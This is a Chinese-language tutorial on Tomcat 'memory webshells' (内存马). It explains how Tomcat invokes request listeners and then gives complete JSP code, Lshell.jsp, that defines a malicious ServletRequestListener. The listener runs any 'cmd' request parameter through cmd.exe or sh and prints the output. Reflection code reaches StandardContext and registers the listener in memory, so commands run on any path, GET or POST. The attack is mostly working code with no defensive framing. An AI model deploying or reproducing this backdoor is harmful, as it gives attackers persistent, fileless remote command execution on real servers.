Tomcat版本:10.1.40
Jdk版本:java11
Listener监听器
Listener监听器,常见的监听器:
用户操作过程
用户 ----请求----> JavaWeb(Listener---->FilterChain---->Servlet)
用户请求JavaWeb时会先经过Listener操作,然后再进行拦截器FilterChain,最后才到达Servlet来服务处理请求。
正常创建一个监听器
需要新建一个类,然后重写requestInitialized方法:
然后再在web.xml中添加listener的全类名
然后带cmd参数进行访问:
使用ServletRequestListener接口创建监听器,每次请求都会触发监听器。
这里监听器设置操作是每次请求操作中带有cmd参数并且cmd参数存在值的话就会执行cmd参数的命令。
内存马创建Listener
原理:
调用函数requestInitialized()的是上一步中的listener.requestInitialized(event)的listener对象调用的requestInitialized()函数。
listener对象是通过instance强转赋值进行创建的对象。
而instance是对象数组instances中的一个,而instances数组中的值的获取是通过getApplicationEventListeners();来进行获取的
跟踪该函数发现是通过applicationEventListenersList.toArray();返回一个对象数组。
通过查看applicationEventListenersList字段相关用法发现存在addApplicationEventListener()函数可以进行添加listener。
这时我们就可以通过Java反射获取StandardContext来获取addApplicationEventListener()来添加恶意的Listener对象,来加载恶意的Listener。
过程总结:
上述是通过反向推断,正常的过程是通过addApplicationEventListener()函数来添加恶意的Listener对象,然后程序就会通过getApplicationEventListeners()函数把恶意的Listener添加到instances数组中,然后再通过强制转换把instances数组中单个对象赋值给listener然后再调用listener监听器重写的requestInitialized()方法。
接下来就是通过反射实现加载恶意类。
创建恶意JSP文件
jsp文件名:Lshell.jsp
1、创建恶意Listener监听器类
<%!
public class MyListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
Class facadeClass = req.getClass();
try {
Field requestField = facadeClass.getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request)requestField.get(req);
// request.getResponse().getWriter().println("input"+cmd);
String osTyp = System.getProperty("os.name").toLowerCase();
ProcessBuilder pb;
if (osTyp.contains("win")) {
pb = new ProcessBuilder("cmd.exe", "/c", cmd);
} else {
pb = new ProcessBuilder("sh", "-c", cmd);
}
// 执行命令并读取输出
Process process = pb.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
// 将命令输出写回页面
request.getResponse().getWriter().println("<html><body>");
request.getResponse().getWriter().println("<h1>Command Output:</h1>");
request.getResponse().getWriter().println("<pre>" + output.toString() + "</pre>");
request.getResponse().getWriter().println("</body></html>");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
}
%>
该恶意监听器的作用是每当请求的参数中带有cmd参数就会执行cmd参数的命令。
2、通过反射获取StandardContext
//通过反射获取StandardContext
ServletContext servletContext = request.getServletContext();
//通过servletContext拿到applicationContext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
//设置可访问权限
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);
//通过applicationContext拿到StandardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
3、通过StandardContext来调用addApplicationEventListener()函数来添加恶意类
standardContext.addApplicationEventListener(new MyListener());
然后启动tomcat服务访问写好的Lshell.jsp文件,访问后再次请求时可以携带cmd参数来执行命令
不管Get请求还是Post请求只要是参数中带有cmd参数就会执行参数的命令,同样也不管请求的路径存不存在都会执行参数的命令